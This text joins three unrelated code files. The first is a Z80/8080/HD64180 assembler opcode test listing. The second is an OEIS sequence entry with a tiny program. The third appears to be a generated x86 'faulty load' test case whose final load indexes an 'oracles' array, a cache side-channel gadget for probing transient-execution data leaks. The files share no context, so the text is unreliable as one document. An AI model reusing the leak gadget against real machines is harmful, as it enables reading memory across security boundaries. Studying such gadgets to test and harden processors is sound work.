cp a,(iy+1) inc (IX+1) inc (iy+1) dec (IX+n1) dec (iy+1) ; –––––––––––––––––––––––––––––––––– bit 0,(ix+n1) bit 0,(iy+1) bit 1,(ix+1) bit 2,(iy+1) bit 3,(ix+1) bit 4,(iy+1) bit 5,(ix+1) bit 6,(iy+1) bit 7,(ix+1) res 0,(ix+1) res 0,(iy+1) res 1,(ix+1) res 2,(iy+1) res 3,(ix+1) res 4,(iy+1) res 5,(ix+1) res 6,(iy+1) res 7,(ix+1) set 0,(ix+1) set 0,(iy+1) set 1,(ix+1) set 2,(iy+1) set 3,(ix+1) set 4,(iy+1) set 5,(ix+1) set 6,(iy+1) set 7,(ix+1) rl (ix+1) rl (iy+1) rlc (ix+1) rlc (iy+1) rr (ix+1) rr (iy+1) rrc (ix+1) rrc (iy+1) sla (ix+1) sla (iy+1) #if !defined(_z180_) sll (ix+1) sll (iy+1) #endif sra (ix+1) sra (iy+1) srl (ix+1) srl (iy+1) #endif ; !defined(i8080) ; ––––––––––––––––––––––––––––––––––––––––––––––––– ; z80 illegal IXCB opcodes ; ––––––––––––––––––––––––––––––––––––––––––––––––– #if defined(_ixcbxh_) sra xh sra yl sla xh sla yl srl xh srl yl sll xh sll yl rl xh rl yl rlc xh rlc yl rr xh rr yl rrc xh rrc yl bit 0,xh ; illegal bit 1,xl ; illegal bit 2,yh ; illegal bit 3,yl ; illegal bit 4,xh ; illegal bit 5,xl ; illegal bit 6,yh ; illegal bit 7,yl ; illegal res 0,xh ; illegal res 1,xl ; illegal res 2,yh ; illegal res 3,yl ; illegal res 4,xh ; illegal res 5,xl ; illegal res 6,yh ; illegal res 7,yl ; illegal set 0,xh ; illegal set 1,xl ; illegal set 2,yh ; illegal set 3,yl ; illegal set 4,xh ; illegal set 5,xl ; illegal set 6,yh ; illegal set 7,yl ; illegal #endif #if test_fails && (!defined(_ixcbxh_) || defined(_z180_)) ! bit 0,xh ; illegal ! bit 1,xl ; illegal ! bit 2,yh ; illegal ! bit 3,yl ; illegal ! bit 4,xh ; illegal ! bit 5,xl ; illegal ! bit 6,yh ; illegal ! bit 7,yl ; illegal ! res 0,xh ; illegal ! res 1,xl ; illegal ! res 2,yh ; illegal ! res 3,yl ; illegal ! res 4,xh ; illegal ! res 5,xl ; illegal ! res 6,yh ; illegal ! res 7,yl ; illegal ! set 0,xh ; illegal ! set 1,xl ; illegal ! set 2,yh ; illegal ! set 3,yl ; illegal ! set 4,xh ; illegal ! set 5,xl ; illegal ! set 6,yh ; illegal ! set 7,yl ; illegal ! rl xh ! rl yl ! rlc xh ! rlc yl ! rr xh ! rr yl ! rrc xh ! rrc yl ! sra xh ! sra yl ! sla xh ! sla yl ! srl xh ! srl yl ! sll xh ! sll yl #endif #if defined(_ixcbr2_) sra (ix+1),a sra (iy+1),b sla (ix+1),c sla (iy+1),d srl (ix+1),e srl (iy+1),a sll (ix+1),b sll (iy+1),c sra (iy+1),h sla (ix+1),l srl (iy+1),h sll (ix+1),l rl (ix+1),a rl (iy+1),b rlc (ix+1),c rlc (iy+1),d rr (ix+1),e rr (iy+1),a rrc (ix+1),b rrc (iy+1),c rl (iy+1),h rlc (ix+1),l rr (iy+1),h rrc (ix+1),l bit 0,(ix+1),a ; illegal TODO: evtl. they all behave like "bit b,(ix+dis)" bit 1,(iy+1),b ; illegal because 'bit' does not write to register bit 2,(ix+1),c ; illegal to be tested! bit 3,(iy+1),h ; illegal different docs state different opinions! bit 4,(ix+1),l ; illegal bit 5,(iy+1),d ; illegal bit 6,(ix+1),e ; illegal bit 7,(iy+1),b ; illegal res 0,(ix+1),a ; illegal res 1,(iy+1),b ; illegal res 2,(ix+1),c ; illegal res 3,(iy+1),h ; illegal res 4,(ix+1),l ; illegal res 5,(iy+1),d ; illegal res 6,(ix+1),e ; illegal res 7,(iy+1),b ; illegal set 0,(ix+1),a ; illegal set 1,(iy+1),b ; illegal set 2,(ix+1),c ; illegal set 3,(iy+1),h ; illegal set 4,(ix+1),l ; illegal set 5,(iy+1),d ; illegal set 6,(ix+1),e ; illegal set 7,(iy+1),b ; illegal #endif #if test_fails && (!defined(_ixcbr2_) || defined(_z180_)) ! rl (ix+1),a ! rl (iy+1),b ! rlc (ix+1),c ! rlc (iy+1),d ! rr (ix+1),e ! rr (iy+1),a ! rrc (ix+1),b ! rrc (iy+1),c ! sra (ix+1),a ! sra (iy+1),b ! sla (ix+1),c ! sla (iy+1),d ! srl (ix+1),e ! srl (iy+1),a ! sll (ix+1),b ! sll (iy+1),c ! bit 0,(ix+1),a ; illegal ! bit 1,(iy+1),b ; illegal ! bit 2,(ix+1),c ; illegal ! bit 3,(iy+1),h ; illegal ! bit 4,(ix+1),l ; illegal ! bit 5,(iy+1),d ; illegal ! bit 6,(ix+1),e ; illegal ! bit 7,(iy+1),b ; illegal ! res 0,(ix+1),a ; illegal ! res 1,(iy+1),b ; illegal ! res 2,(ix+1),c ; illegal ! res 3,(iy+1),h ; illegal ! res 4,(ix+1),l ; illegal ! res 5,(iy+1),d ; illegal ! res 6,(ix+1),e ; illegal ! res 7,(iy+1),b ; illegal ! set 0,(ix+1),a ; illegal ! set 1,(iy+1),b ; illegal ! set 2,(ix+1),c ; illegal ! set 3,(iy+1),h ; illegal ! set 4,(ix+1),l ; illegal ! set 5,(iy+1),d ; illegal ! set 6,(ix+1),e ; illegal ! set 7,(iy+1),b ; illegal ! rl (iy+1),h ! rlc (ix+1),l ! rr (iy+1),h ! rrc (ix+1),l ! sra (iy+1),h ! sla (ix+1),l ! srl (iy+1),h ! sll (ix+1),l #endif ; ––––––––––––––––––––––––––––––––––––––––––––––––– ; Hitachi HD64180 opcodes ; ––––––––––––––––––––––––––––––––––––––––––––––––– #if defined(_z180_) in0 b,(n) ; ed 00 n hd 64180 in0 c,(n) ; ed 08 n hd 64180 in0 d,(n) ; ed 10 n hd 64180 in0 e,(n) ; ed 18 n hd 64180 in0 h,(n) ; ed 20 n hd 64180 in0 l,(n) ; ed 28 n hd 64180 in0 f,(n) ; ed 30 n hd 64180 in0 a,(n) ; ed 38 n hd 64180 mult bc ; ed 4c hd 64180 mult de ; ed 5c hd 64180 mult hl ; ed 6c hd 64180 mult sp ; ed 7c hd 64180 out0 (n),b ; ed 01 n hd 64180 out0 (n),c ; ed 09 n hd 64180 out0 (n),d ; ed 11 n hd 64180 out0 (n),e ; ed 19 n hd 64180 out0 (n),h ; ed 21 n hd 64180 out0 (n),l ; ed 29 n hd 64180 out0 (n),a ; ed 39 n hd 64180 otim ; ed 83 hd 64180 otdm ; ed 8b hd 64180 otimr ; ed 93 hd 64180 otdmr ; ed 9b hd 64180 slp ; ed 76 hd 64180 tst b ; ed 04 hd 64180 tst c ; ed 0c hd 64180 tst d ; ed 14 hd 64180 tst e ; ed 1c hd 64180 tst h ; ed 24 hd 64180 tst l ; ed 2c hd 64180 tst (hl) ; ed 34 hd 64180 tst a ; ed 3c hd 64180 tst n ; ed 64 n hd 64180 tstio n ; ed 74 n hd 64180 // korr kio 2014-12-26; was: ed 76 (which is SLP) #endif n6 equ 6 n1 equ 1 n16 equ 16 ; ––––––––––––––––––––––––––––––––––––––––––––––––– ; ill. arguments for all opcodes: ; ––––––––––––––––––––––––––––––––––––––––––––––––– #if test_fails ! jr p,loop2 ! jr m,loop2 ! jr po,loop2 ! jr pe,loop2 ! im 3 ! adc ix,bc ! adc ix,de ! adc ix,ix ! adc ix,iy ! adc ix,sp ! adc iy,bc ! adc iy,de ! adc iy,iy ! adc iy,ix ! adc iy,sp ! add ix,iy ! add ix,hl ! add iy,ix ! add iy,hl ! ld (hl),(hl) ! ld (ix+1),(ix+1) ! ld (ix+1),(iy+1) ! ld (iy+1),(hl) ! ld (iy+1),(ix+1) ! ld (iy+1),(iy+1) ! ld XH,(hl) ! ld xh,(ix+1) ! ld xh,(iy+1) ! ld xh,h ! ld xh,l ! ld xh,yl ! ld YL,(hl) ! ld yl,(ix+1) ! ld yl,(iy+1) ! ld yl,h ! ld yl,l ! ld yl,xh ! out (c),xh ! out (c),yl ! sbc ix,bc ! sbc ix,de ! sbc ix,ix ! sbc ix,iy ! sbc ix,sp ! sbc iy,bc ! sbc iy,de ! sbc iy,iy ! sbc iy,ix ! sbc iy,sp #endif ; test_fails ; ––––––––––––––––––––––––––––––––––––––––––––––––– ; ill. 8080 opcodes: ; ––––––––––––––––––––––––––––––––––––––––––––––––– #if test_fails & defined(_8080_) ! exx ! Neg ! cpd ! cpdr ! cpir ! cpi ! Ind ! Indr ! Ini ! Inir ! Ldd ! Lddr ! Ldi ! Ldir ! Otdr ! Otir ! Outd ! Outi ! Rld ! Rrd ! Reti ! Retn ! djnz $ #endif ; ––––––––––––––––––––––––––––––––––––––––––––––––– ; ill. arguments for 8080 opcodes: ; ––––––––––––––––––––––––––––––––––––––––––––––––– #if test_fails & defined(_8080_) ! jp (ix) ! jp (iy) ; –––––––––––––––––––––––––––––––––– loop3: ! jr loop3 ! JR C,loop3 ! jr nc,loop3 ! jr nz,loop3 ! jr z,loop3 ; –––––––––––––––––––––––––––––––––– ! IM 0 ! im n1 ! im 2 ; –––––––––––––––––––––––––––––––––– ! pop ix ! pop iy ! push ix ! push iy ! ld i,a ! ld r,a ! ld (nn),bc ! ld (nn),de ! ld (nn),ix ! ld (nn),iy ! ld (nn),sp ! ld bc,(nn) ! ld de,(nn) ! ld ix,(nn) ! ld iy,(nn) ! ld sp,(nn) ! ld ix,nn ! ld iy,nn ! ld (ix+1),b ! ld (ix+1),c ! ld (ix+n1),d ! ld (ix+1),e ! ld (ix+1),h ! ld (ix+1),l ! ld (ix+1),n ! ld (iy+1),b ! ld (iy+1),c ! ld (iy+1),d ! ld (iy+n1),e ! ld (iy+1),h ! ld (iy+1),l ! ld (iy+1),n ! ld xh,a ; illegal ! ld xh,b ; illegal ! ld xh,c ; illegal ! ld xh,d ; illegal ! ld xh,e ; illegal ! ld xh,xh ; illegal ! ld xh,xl ; illegal ! ld xh,n ; illegal ! ld yl,a ; illegal ! ld yl,b ; illegal ! ld yl,c ; illegal ! ld yl,d ; illegal ! ld yl,e ; illegal ! ld yl,yh ; illegal ! ld yl,yl ; illegal ! ld yl,n ; illegal ! add ix,bc ! add ix,de ! add ix,ix ! add ix,sp ! add iy,bc ! add iy,de ! add iy,iy ! add iy,sp ! adc hl,bc ! adc hl,de ! adc hl,hl ! adc hl,sp ! sbc hl,bc ! sbc hl,de ! sbc hl,hl ! sbc hl,sp ; –––––––––––––––––––––––––––––––––– ! inc (IX+1) ! inc (iy+1) ! inc xh ; illegal ! inc xl ; illegal ! inc yh ; illegal ! inc yl ; illegal ! inc ix ! inc iy ; –––––––––––––––––––––––––––––––––– ! dec (IX+n1) ! dec (iy+1) ! dec xh ; illegal ! dec xl ; illegal ! dec yh ; illegal ! dec yl ; illegal ! dec ix ! dec iy ; –––––––––––––––––––––––––––––––––– ! ex af,af' ! ex (sp),ix ! ex ix,(sp) ! ex (sp),iy ! ex iy,(sp) ; –––––––––––––––––––––––––––––––––– ! IN a,(c) ! in b,(bc) ! in c,(c) ! in d,(bc) ! in e,(c) ! in h,(bc) ! in l,(c) ! in f,(bc) ; –––––––––––––––––––––––––––––––––– ! OUT (c),a ! out (bc),b ! out (c),c ! out (bc),d ! out (c),e ! out (bc),h ! out (c),l ! out (c),0 ; –––––––––––––––––––––––––––––––––– ! bit 0,a ! bit 0,b ! bit 0,c ! bit 0,d ! bit 0,e ! bit 0,h ! bit 0,l ! BIT 0,(hl) ! bit 0,(ix+n1) ! bit 0,(iy+1) ! bit 1,a ! BIT n1,(hl) ! bit 1,(ix+1) ! bit 2,h ! BIT 2,(hl) ! bit 2,(iy+1) ! bit 3,l ! BIT 3,(hl) ! bit 3,(ix+1) ! bit 4,d ! BIT 4,(hl) ! bit 4,(iy+1) ! bit 5,e ! BIT 5,(hl) ! bit 5,(ix+1) ! bit 6,c ! BIT n6,(hl) ! bit 6,(iy+1) ! bit 7,b ! BIT 7,(hl) ! bit 7,(ix+1) ; –––––––––––––––––––––––––––––––––– ! res 0,a ! res 0,b ! res 0,c ! res 0,d ! res 0,e ! res 0,h ! res 0,l ! res 0,(hl) ! res 0,(ix+1) ! res 0,(iy+1) ! res 1,a ! res 1,(hl) ! res 1,(ix+1) ! res 2,h ! res 2,(hl) ! res 2,(iy+1) ! res 3,l ! res 3,(hl) ! res 3,(ix+1) ! res 4,d ! res 4,(hl) ! res 4,(iy+1) ! res 5,e ! res 5,(hl) ! res 5,(ix+1) ! res 6,c ! res 6,(hl) ! res 6,(iy+1) ! res 7,b ! res 7,(hl) ! res 7,(ix+1) ; –––––––––––––––––––––––––––––––––– ! set 0,a ! set 0,b ! set 0,c ! set 0,d ! set 0,e ! set 0,h ! set 0,l ! set 0,(hl) ! set 0,(ix+1) ! set 0,(iy+1) ! set 1,a ! set n1,(hl) ! set 1,(ix+1) ! set 2,h ! set 2,(hl) ! set 2,(iy+1) ! set 3,l ! set 3,(hl) ! set 3,(ix+1) ! set 4,d ! set 4,(hl) ! set 4,(iy+1) ! set 5,e ! set 5,(hl) ! set 5,(ix+1) ! set 6,c ! set n6,(hl) ! set 6,(iy+1) ! set 7,b ! set 7,(hl) ! set 7,(ix+1) ; –––––––––––––––––––––––––––––––––– ! RL (hl) ! rl (ix+1) ! rl (iy+1) ! rl a ! rl b ! rl c ! rl d ! rl e ! rl h ! rl l ; –––––––––––––––––––––––––––––––––– ! RLC (hl) ! rlc (ix+1) ! rlc (iy+1) ! rlc a ! rlc b ! rlc c ! rlc d ! rlc e ! rlc h ! rlc l ; –––––––––––––––––––––––––––––––––– ! RR (hl) ! rr (ix+1) ! rr (iy+1) ! rr a ! rr b ! rr c ! rr d ! rr e ! rr h ! rr l ; –––––––––––––––––––––––––––––––––– ! RRC (hl) ! rrc (ix+1) ! rrc (iy+1) ! rrc a ! rrc b ! rrc c ! rrc d ! rrc e ! rrc h ! rrc l ; –––––––––––––––––––––––––––––––––– ! sla (hl) ! sla (ix+1) ! sla (iy+1) ! sla a ! sla b ! sla c ! sla d ! sla e ! sla h ! sla l ; –––––––––––––––––––––––––––––––––– ! sll (hl) ! sll (ix+1) ! sll (iy+1) ! sll a ! sll b ! sll c ! sll d ! sll e ! sll h ! sll l ; –––––––––––––––––––––––––––––––––– ! sra (hl) ! sra (ix+1) ! sra (iy+1) ! sra a ! sra b ! sra c ! sra d ! sra e ! sra h ! sra l ; –––––––––––––––––––––––––––––––––– ! srl (hl) ! srl (ix+1) ! srl (iy+1) ! srl a ! srl b ! srl c ! srl d ! srl e ! srl h ! srl l #endif ; test_fails & defined(i8080) #if test_fails & defined(_8080_) ! jp ix ! jp iy ! ld a,i ! ld a,r ! ld sp,ix ! ld sp,iy ! ld h,xh ! ld h,xl ! ld h,yh ! ld h,yl ! ld l,xh ! ld l,xl ! ld l,yh ! ld l,yl ! ld (hl),(ix+1) ! ld (hl),(iy+1) ! ld (hl),xh ! ld (hl),xl ! ld (hl),yh ! ld (hl),yl ! ld (ix+1),(hl) ! ld (ix+1),xh ! ld (ix+1),xl ! ld (ix+1),yh ! ld (ix+1),yl ! ld (iy+1),xh ! ld (iy+1),xl ! ld (iy+1),yh ! ld (iy+1),yl ! ld hl,ix ! ld hl,iy ! ld a,(ix+1) ! ld a,(iy+n1) ! ld a,xh ; illegal ! ld a,xl ; illegal ! ld a,yh ; illegal ! ld a,yl ; illegal ! ld b,(ix+n1) ! ld b,(iy+1) ! ld b,xh ; illegal ! ld b,xl ; illegal ! ld b,yh ; illegal ! ld b,yl ; illegal ! ld c,(ix+1) ! ld c,(iy+n1) ! ld c,xh ; illegal ! ld c,xl ; illegal ! ld c,yh ; illegal ! ld c,yl ; illegal ! ld d,(ix+1) ! ld d,(iy+n1) ! ld d,xh ; illegal ! ld d,xl ; illegal ! ld d,yh ; illegal ! ld d,yl ; illegal ! ld e,(ix+n1) ! ld e,(iy+1) ! ld e,xh ; illegal ! ld e,xl ; illegal ! ld e,yh ; illegal ! ld e,yl ; illegal ! ld h,(ix+1) ! ld h,(iy+n1) ! ld l,(ix+1) ! ld l,(iy+n1) ! add a,(ix+1) ! add a,(iy+n1) ! add a,xh ; illegal ! add a,xl ; illegal ! add a,yh ; illegal ! add a,yl ; illegal ! sub (ix+1) ! sub (iy+1) ! sub a,(ix+1) ! sub a,(iy+1) ! sub a,XH ; illegal ! sub a,XL ; illegal ! sub a,YH ; illegal ! sub a,YL ; illegal ! adc a,(ix+1) ! adc a,(iy+n1) ! adc a,xh ; illegal ! adc a,xl ; illegal ! adc a,yh ; illegal ! adc a,yl ; illegal ! sbc a,(ix+1) ! sbc a,(iy+1) ! sbc a,xh ; illegal ! sbc a,xl ; illegal ! sbc a,yh ; illegal ! sbc a,yl ; illegal ! AND (ix+1) ! AND (iy+1) ! and a,(ix+1) ! and a,(iy+n1) ! and a,XH ; illegal ! and a,XL ; illegal ! and a,YH ; illegal ! and a,YL ; illegal ! or (ix+1) ! or (iy+1) ! or a,(ix+1) ! or a,(iy+1) ! or a,XH ; illegal ! or a,XL ; illegal ! or a,YH ; illegal ! or a,YL ; illegal ! xor (ix+1) ! xor (iy+1) ! xor a,(ix+1) ! xor a,(iy+1) ! xor a,XH ; illegal ! xor a,XL ; illegal ! xor a,YH ; illegal ! xor a,YL ; illegal ! cp (ix+n1) ! cp (iy+1) ! cp a,(ix+1) ! cp a,(iy+1) ! cp a,XH ; illegal ! cp a,XL ; illegal ! cp a,YH ; illegal ! cp a,YL ; illegal #endif ; test_fails & defined(i8080) #if test_compound_opcodes ld bc,de ; compound ld bc,hl ; compound ld de,bc ; compound ld de,hl ; compound ld hl,bc ; compound ld hl,de ; compound ld bc,(hl) ld de,(hl) #if !defined(_8080_) #if !defined(_z180_) ld bc,ix ; compound, illegal ld bc,iy ; compound, illegal ld de,ix ; compound, illegal ld de,iy ; compound, illegal #endif ld bc,(ix+1) ld de,(ix+1) ld bc,(iy+1) ld de,(iy+1) #endif #endif ; test_compound_opcodes
; A024000: a(n) = 1 - n. ; 1,0,-1,-2,-3,-4,-5,-6,-7,-8,-9,-10,-11,-12,-13,-14,-15,-16,-17,-18,-19,-20,-21,-22,-23,-24,-25,-26,-27,-28,-29,-30,-31,-32,-33,-34,-35,-36,-37,-38,-39,-40,-41,-42,-43,-44,-45,-46,-47,-48,-49,-50,-51,-52,-53,-54,-55,-56,-57,-58,-59,-60,-61,-62,-63,-64,-65,-66,-67,-68,-69,-70,-71,-72,-73,-74,-75,-76,-77,-78,-79,-80,-81,-82,-83,-84,-85,-86,-87,-88,-89,-90,-91,-92,-93,-94,-95,-96,-97,-98,-99,-100,-101,-102,-103,-104,-105,-106,-107,-108,-109,-110,-111,-112,-113,-114,-115,-116,-117,-118,-119,-120,-121,-122,-123,-124,-125,-126,-127,-128,-129,-130,-131,-132,-133,-134,-135,-136,-137,-138,-139,-140,-141,-142,-143,-144,-145,-146,-147,-148,-149,-150,-151,-152,-153,-154,-155,-156,-157,-158,-159,-160,-161,-162,-163,-164,-165,-166,-167,-168,-169,-170,-171,-172,-173,-174,-175,-176,-177,-178,-179,-180,-181,-182,-183,-184,-185,-186,-187,-188,-189,-190,-191,-192,-193,-194,-195,-196,-197,-198,-199,-200,-201,-202,-203,-204,-205,-206,-207,-208,-209,-210,-211,-212,-213,-214,-215,-216,-217,-218,-219,-220,-221,-222,-223,-224,-225,-226,-227,-228,-229,-230,-231,-232,-233,-234,-235,-236,-237,-238,-239,-240,-241,-242,-243,-244,-245,-246,-247,-248 sub $0,1 mul $0,-120259084286 mov $1,$0 div $1,120259084286
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %r13 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_D_ht+0x1290, %rbx nop nop inc %r10 movb $0x61, (%rbx) nop nop nop nop and %r10, %r10 lea addresses_normal_ht+0x1895, %r12 nop dec %rsi vmovups (%r12), %ymm6 vextracti128 $0, %ymm6, %xmm6 vpextrq $1, %xmm6, %r10 nop nop nop xor %rsi, %rsi lea addresses_WC_ht+0xf115, %r13 cmp %rbx, %rbx mov (%r13), %r10d nop nop nop cmp $28049, %r10 lea addresses_A_ht+0x5095, %r13 nop nop and $6032, %r11 mov (%r13), %r12d add $53024, %rsi lea addresses_WT_ht+0xe3c5, %r12 xor $27863, %r11 movups (%r12), %xmm3 vpextrq $1, %xmm3, %rbp sub $51998, %r11 lea addresses_UC_ht+0x18495, %r13 cmp %rbx, %rbx movb (%r13), %r10b nop nop nop nop nop sub %r13, %r13 lea addresses_WT_ht+0x11b95, %rsi lea addresses_D_ht+0x9e95, %rdi sub %r10, %r10 mov $19, %rcx rep movsb and %rsi, %rsi pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r13 pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r13 push %r15 push %r9 push %rcx push %rdi push %rsi // Store lea addresses_PSE+0xa95, %rdi nop xor %r11, %r11 mov $0x5152535455565758, %r12 movq %r12, %xmm0 vmovups %ymm0, (%rdi) nop nop nop add %r15, %r15 // REPMOV lea addresses_WT+0x12a95, %rsi lea addresses_WC+0x18e55, %rdi nop nop nop nop nop xor %r9, %r9 mov $98, %rcx rep movsb cmp $54207, %r12 // Store mov $0x835, %r12 nop nop nop sub %r15, %r15 movb $0x51, (%r12) nop xor $26952, %r12 // Store lea addresses_D+0x19295, %r11 nop nop nop nop and %r9, %r9 mov $0x5152535455565758, %r12 movq %r12, (%r11) and %rdi, %rdi // Store lea addresses_RW+0x37d5, %r11 nop nop nop nop nop inc %r9 movb $0x51, (%r11) nop nop nop nop nop dec %r15 // Load lea addresses_US+0x3295, %r12 nop nop nop add $22088, %rdi mov (%r12), %r15 nop nop nop nop add $12764, %rsi // Store lea addresses_D+0x19295, %r9 nop xor %r12, %r12 movw $0x5152, (%r9) nop nop nop nop sub %rsi, %rsi // Store lea addresses_RW+0x157d, %r11 clflush (%r11) nop xor $55354, %r15 movb $0x51, (%r11) nop sub %r13, %r13 // Store lea addresses_PSE+0x1495, %rcx nop nop nop nop dec %r9 movw $0x5152, (%rcx) xor $54433, %r12 // Faulty Load lea addresses_D+0x19295, %rcx nop dec %r15 vmovntdqa (%rcx), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $1, %xmm3, %r11 lea oracles, %rdi and $0xff, %r11 shlq $12, %r11 mov (%rdi,%r11,1), %r11 pop %rsi pop %rdi pop %rcx pop %r9 pop %r15 pop %r13 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_D', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_PSE', 'same': False, 'size': 32, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WT', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WC', 'congruent': 5, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_P', 'same': False, 'size': 1, 'congruent': 5, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_D', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_RW', 'same': False, 'size': 1, 'congruent': 1, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_US', 'same': False, 'size': 8, 'congruent': 9, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_D', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_RW', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_PSE', 'same': False, 'size': 2, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_D', 'same': True, 'size': 32, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 32, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 4, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 4, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 16, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 1, 'congruent': 9, 'NT': True, 'AVXalign': True}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'} {'f8': 7, 'ff': 3, '39': 1, '7d': 1, 'f9': 2, '00': 21811, 'f7': 1, '04': 1, '06': 1, '08': 1} 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
